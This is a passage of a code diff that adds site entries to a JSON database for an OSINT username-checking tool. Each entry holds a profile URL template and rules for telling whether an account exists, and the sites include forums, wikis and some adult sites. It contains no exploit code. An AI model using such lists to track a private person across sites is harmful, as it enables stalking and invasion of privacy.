+ }, + "community.infiniteflight.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://community.infiniteflight.com/u/{username}" + }, + "community.kodular.io": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://community.kodular.io/u/{username}" + }, + "community.letsencrypt.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://community.letsencrypt.org/u/{username}" + }, + "community.mycroft.ai": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://community.mycroft.ai/u/{username}" + }, + "community.mydevices.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://community.mydevices.com/u/{username}" + }, + "community.quickfile.co.uk": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://community.quickfile.co.uk/u/{username}" + }, + "community.roonlabs.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://community.roonlabs.com/u/{username}" + }, + "community.rstudio.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://community.rstudio.com/u/{username}" + }, + "community.unbounce.com": { + "disabled": true, + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://community.unbounce.com/u/{username}" + }, + "creationwiki.org": { + "checkType": "status_code", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://creationwiki.org/User:{username}" + }, + "credly.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://credly.com/users/{username}" + }, + "cruiserswiki.org": { + "checkType": "status_code", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://cruiserswiki.org/wiki/User:{username}" + }, + "dandwiki.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://dandwiki.com/wiki/User:{username}" + }, + "dariawiki.org": { + "checkType": "status_code", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://dariawiki.org/wiki/User:{username}" + }, + "detectiveconanworld.com": { + "checkType": "status_code", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://detectiveconanworld.com/wiki/User:{username}" + }, + "develop.consumerium.org": { + "checkType": "status_code", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://develop.consumerium.org/wiki/User:{username}" + }, + "devforum.zoom.us": { + "disabled": true, + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://devforum.zoom.us/u/{username}" + }, + "discourse.huel.com": { + "checkType": "status_code", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://discourse.huel.com/u/{username}" + }, + "discourse.julialang.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://discourse.julialang.org/u/{username}" + }, + "discourse.mc-stan.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://discourse.mc-stan.org/u/{username}" + }, + "discourse.nodered.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://discourse.nodered.org/u/{username}" + }, + "discourse.snowplowanalytics.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://discourse.snowplowanalytics.com/u/{username}" + }, + "discoursedb.org": { + "checkType": "status_code", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://discoursedb.org/wiki/User:{username}" + }, + "discuss.circleci.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://discuss.circleci.com/u/{username}" + }, + "discuss.elastic.co": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://discuss.elastic.co/u/{username}" + }, + "discuss.huel.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://discuss.huel.com/u/{username}" + }, + "discuss.ipfs.io": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://discuss.ipfs.io/u/{username}" + }, + "discuss.kotlinlang.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://discuss.kotlinlang.org/u/{username}" + }, + "discuss.kubernetes.io": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://discuss.kubernetes.io/u/{username}" + }, + "discuss.newrelic.com": { + "disabled": true, + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://discuss.newrelic.com/u/{username}" + }, + "discuss.pixls.us": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://discuss.pixls.us/u/{username}" + }, + "discuss.prosemirror.net": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://discuss.prosemirror.net/u/{username}" + }, + "discuss.pytorch.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://discuss.pytorch.org/u/{username}" + }, + "discussion.dreamhost.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://discussion.dreamhost.com/u/{username}" + }, + "dnd-wiki.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://dnd-wiki.org/wiki/User:{username}" + }, + "dogcraft.net": { + "checkType": "status_code", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://dogcraft.net/wiki/User:{username}" + }, + "elixirforum.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://elixirforum.com/u/{username}" + }, + "en.brickimedia.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://en.brickimedia.org/wiki/User:{username}" + }, + "en.illogicopedia.org": { + "checkType": "status_code", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://en.illogicopedia.org/wiki/User:{username}" + }, + "en.uncyclopedia.co": { + "checkType": "status_code", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://en.uncyclopedia.co/wiki/User:{username}" + }, + "en.wikifur.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://en.wikifur.com/wiki/User:{username}" + }, + "encyc.org": { + "checkType": "status_code", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://encyc.org/wiki/User:{username}" + }, + "Pixilart": { + "tags": [ + "art" + ], + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://pixilart.com/{username}" + }, + "eve.community": { + "disabled": true, + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://eve.community/u/{username}" + }, + "exploretalent.com": { + "checkType": "message", + "presenseStrs": [ + "userNode\":{\"id\"" + ], + "absenceStrs": [ + "userNode\":{}" + ], + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://exploretalent.com/{username}" + }, + "fandalism.com": { + "disabled": true, + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://fandalism.com/{username}" + }, + "fanfiktion.de": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://fanfiktion.de/u/{username}" + }, + "ffm.bio": { + "checkType": "status_code", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://ffm.bio/{username}" + }, + "finmessage.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://finmessage.com/{username}" + }, + "flipsnack.com": { + "checkType": "status_code", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://flipsnack.com/{username}" + }, + "flirtic.ee": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://flirtic.ee/{username}", + "regexCheck": "^[^\\.]+$" + }, + "forum.banana-pi.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://forum.banana-pi.org/u/{username}" + }, + "forum.bonsaimirai.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://forum.bonsaimirai.com/u/{username}" + }, + "forum.cfx.re": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://forum.cfx.re/u/{username}" + }, + "forum.cockroachlabs.com": { + "disabled": true, + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://forum.cockroachlabs.com/u/{username}" + }, + "forum.core-electronics.com.au": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://forum.core-electronics.com.au/u/{username}" + }, + "forum.freecodecamp.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://forum.freecodecamp.org/u/{username}" + }, + "forum.gitlab.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://forum.gitlab.com/u/{username}" + }, + "forum.golangbridge.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://forum.golangbridge.org/u/{username}" + }, + "forum.juce.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://forum.juce.com/u/{username}" + }, + "forum.leasehackr.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://forum.leasehackr.com/u/{username}/summary" + }, + "forum.mattermost.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://forum.mattermost.org/u/{username}" + }, + "forum.obsidian.md": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://forum.obsidian.md/u/{username}" + }, + "forum.seeedstudio.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://forum.seeedstudio.com/u/{username}" + }, + "forum.sublimetext.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://forum.sublimetext.com/u/{username}" + }, + "forum.tudiabetes.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://forum.tudiabetes.org/u/{username}" + }, + "forum.uipath.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://forum.uipath.com/u/{username}" + }, + "forum.vuejs.org": { + "disabled": true, + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://forum.vuejs.org/u/{username}" + }, + "forums.balena.io": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://forums.balena.io/u/{username}" + }, + "forums.cgsociety.org": { + "disabled": true, + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://forums.cgsociety.org/u/{username}" + }, + "forums.developer.nvidia.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://forums.developer.nvidia.com/u/{username}" + }, + "forums.episodeinteractive.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://forums.episodeinteractive.com/u/{username}", + "disabled": true + }, + "forums.gearboxsoftware.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://forums.gearboxsoftware.com/u/{username}", + "disabled": true + }, + "forums.lawrencesystems.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://forums.lawrencesystems.com/u/{username}" + }, + "forums.mmorpg.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://forums.mmorpg.com/profile/{username}" + }, + "forums.penny-arcade.com": { + "disabled": true, + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://forums.penny-arcade.com/profile/discussions/{username}" + }, + "forums.pimoroni.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://forums.pimoroni.com/u/{username}" + }, + "forums.t-nation.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://forums.t-nation.com/u/{username}" + }, + "forums.theanimenetwork.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://forums.theanimenetwork.com/u/{username}" + }, + "forums.wyzecam.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://forums.wyzecam.com/u/{username}" + }, + "gamedev.net": { + "disabled": true, + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://gamedev.net/{username}/" + }, + "gearheadwiki.com": { + "checkType": "status_code", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://gearheadwiki.com/wiki/User:{username}" + }, + "globulation2.org": { + "checkType": "status_code", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://globulation2.org/wiki/User:{username}" + }, + "hiveblocks.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://hiveblocks.com/@{username}" + }, + "inaturalist.nz": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://inaturalist.nz/people/{username}" + }, + "inaturalist.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://inaturalist.org/people/{username}" + }, + "irl.com": { + "disabled": true, + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://irl.com/{username}" + }, + "is.theorizeit.org": { + "checkType": "status_code", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://is.theorizeit.org/wiki/User:{username}" + }, + "ising.pl": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://ising.pl/{username}" + }, + "kidicaruswiki.org": { + "checkType": "status_code", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://kidicaruswiki.org/wiki/User:{username}" + }, + "love2d.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://love2d.org/wiki/User:{username}" + }, + "mansonwiki.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://mansonwiki.com/wiki/User:{username}" + }, + "meta.discourse.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://meta.discourse.org/u/{username}" + }, + "metroidwiki.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://metroidwiki.org/wiki/User:{username}" + }, + "micro.blog": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://micro.blog/{username}" + }, + "micronations.wiki": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://micronations.wiki/User:{username}" + }, + "minnit.chat": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://minnit.chat/{username}" + }, + "mintme.com": { + "checkType": "status_code", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://mintme.com/token/{username}" + }, + "modelhub.com": { + "disabled": true, + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://modelhub.com/{username}/videos" + }, + "uviu.com": { + "tags": [ + "porn", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "Oops! Page Not Found", + "We're sorry, but the requested page cannot be found" + ], + "presenseStrs": [ + "<div class=\"profilePhotoSection\">", + "<v-avatar username=\"{username}\" wrapper-class=\"largeAvatar profilePhoto\"" + ], + "usernameClaimed": "destinationkat", + "usernameUnclaimed": "noonewouldeverusethis7", + "urlMain": "https://www.uviu.com", + "url": "https://www.uviu.com/model/{username}" + }, + "monoskop.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://monoskop.org/User:{username}" + }, + "mql5.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://mql5.com/es/users/{username}" + }, + "musicinafrica.net": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://musicinafrica.net/fr/users/{username}" + }, + "nitrc.org": { + "checkType": "status_code", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://nitrc.org/users/{username}/" + }, + "nookipedia.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://nookipedia.com/wiki/User:{username}" + }, + "oldschool.runescape.wiki": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://oldschool.runescape.wiki/wiki/User:{username}" + }, + "openhub.net": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://openhub.net/accounts/{username}" + }, + "openriskmanual.org": { + "checkType": "status_code", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://openriskmanual.org/wiki/User:{username}" + }, + "openwetware.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://openwetware.org/wiki/User:{username}" + }, + "oyoy.com": { + "checkType": "status_code", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://oyoy.com/{username}" + }, + "padlet.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://padlet.com/{username}" + }, + "padrim.com.br": { + "checkType": "status_code", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://padrim.com.br/{username}" + }, + "patch.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://patch.com/users/{username}" + }, + "pcgamingwiki.com": { + "checkType": "status_code", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://pcgamingwiki.com/wiki/User:{username}" + }, + "pidgi.net": { + "checkType": "status_code", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://pidgi.net/wiki/User:{username}" + }, + "pinataisland.info": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://pinataisland.info/viva/User:{username}" + }, + "postcrossing.com": { + "disabled": true, + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://postcrossing.com/user/{username}" + }, + "premium.chat": { + "checkType": "status_code", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://premium.chat/{username}" + }, + "profile.typepad.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://profile.typepad.com/{username}" + }, + "pttweb.cc": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://pttweb.cc/user/{username}" + }, + "qiita.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://qiita.com/{username}" + }, + "rationalwiki.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://rationalwiki.org/wiki/User:{username}" + }, + "raymanpc.com": { + "checkType": "status_code", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://raymanpc.com/wiki/en/User:{username}" + }, + "reactos.org": { + "checkType": "status_code", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://reactos.org/wiki/User:{username}" + }, + "realcty.org": { + "checkType": "status_code", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://realcty.org/wiki/User:{username}" + }, + "renderosity.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://renderosity.com/users/{username}" + }, + "run-log.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://run-log.com/live/{username}" + }, + "runescape.wiki": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://runescape.wiki/wiki/User:{username}" + }, + "sketchfab.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://sketchfab.com/{username}" + }, + "snipplr.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://snipplr.com/users/{username}" + }, + "society6.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://society6.com/{username}/all" + }, + "splatoonwiki.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://splatoonwiki.org/wiki/User:{username}" + }, + "spreadshirt.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://spreadshirt.com/shop/user/{username}/" + }, + "ssbwiki.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://ssbwiki.com/User:{username}" + }, + "stackshare.io": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://stackshare.io/{username}" + }, + "starfywiki.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://starfywiki.org/wiki/User:{username}" + }, + "steller.co": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://steller.co/{username}" + }, + "strategywiki.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://strategywiki.org/wiki/User:{username}" + }, + "talk.macpowerusers.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://talk.macpowerusers.com/u/{username}" + }, + "teflpedia.com": { + "checkType": "status_code", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://teflpedia.com/User:{username}" + }, + "testwiki.wiki": { + "checkType": "status_code", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://testwiki.wiki/wiki/User:{username}" + }, + "thinkwiki.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://thinkwiki.org/wiki/User:{username}" + }, + "tokyvideo.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://tokyvideo.com/user/{username}" + }, + "trailville.com": { + "checkType": "message", + "presenseStrs": [ + "wgRelevantUserName" + ], + "headers": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" + }, + "usernameClaimed": "Admin", + "usernameUnclaimed": "noonewouldevereverusethis7", + "url": "https://www.trailville.com/wiki/User:{username}" + }, + "trepup.com": { + "checkType": "message", + "absenceStrs": [ + "<title>" + ], + "usernameClaimed": "partybusservice", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://trepup.com/{username}" + }, + "ubuntu-mate.community": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://ubuntu-mate.community/u/{username}" + }, + "users.rust-lang.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://users.rust-lang.org/u/{username}" + }, + "v2ex.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://v2ex.com/member/{username}" + }, + "vidamora.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://www.vidamora.com/profile/{username}" + }, + "vingle.net": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://vingle.net/{username}" + }, + "webflow.com": { + "checkType": "status_code", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://webflow.com/{username}" + }, + "wiki.creativecommons.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://wiki.creativecommons.org/wiki/User:{username}" + }, + "wiki.linuxquestions.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://wiki.linuxquestions.org/wiki/User:{username}" + }, + "wiki.mozilla.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://wiki.mozilla.org/wiki/User:{username}" + }, + "wiki.mtasa.com": { + "checkType": "status_code", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://wiki.mtasa.com/User:{username}" + }, + "wiki.teamfortress.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://wiki.teamfortress.com/wiki/User:{username}" + }, + "wiki.tfes.org": { + "checkType": "message", + "presenseStrs": [ + "History" + ], + "absenceStrs": [ + "is not registered." + ], + "usernameClaimed": "Tom_Bishop", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://wiki.tfes.org/User:{username}" + }, + "wiki.themanaworld.org": { + "checkType": "status_code", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://wiki.themanaworld.org/wiki/User:{username}" + }, + "wiki.wesnoth.org": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://wiki.wesnoth.org/wiki/User:{username}" + }, + "wiki.xkcd.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://wiki.xkcd.com/geohashing/User:{username}" + }, + "wikialpha.org": { + "checkType": "status_code", + "usernameClaimed": "admin", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://wikialpha.org/wiki/User:{username}", + "disabled": true + }, + "wikiapiary.com": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://wikiapiary.com/wiki/User:{username}" + }, + "wikiislam.net": { + "checkType": "status_code", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "url": "https://wikiislam.net/wiki/User:{username}" + }, + "wikizilla.org": { + "checkType": "message", + "absenceStrs": [ + "is not registered." + ], + "presenseStrs": [ + "class=\"mw-socialprofile-avatar\" 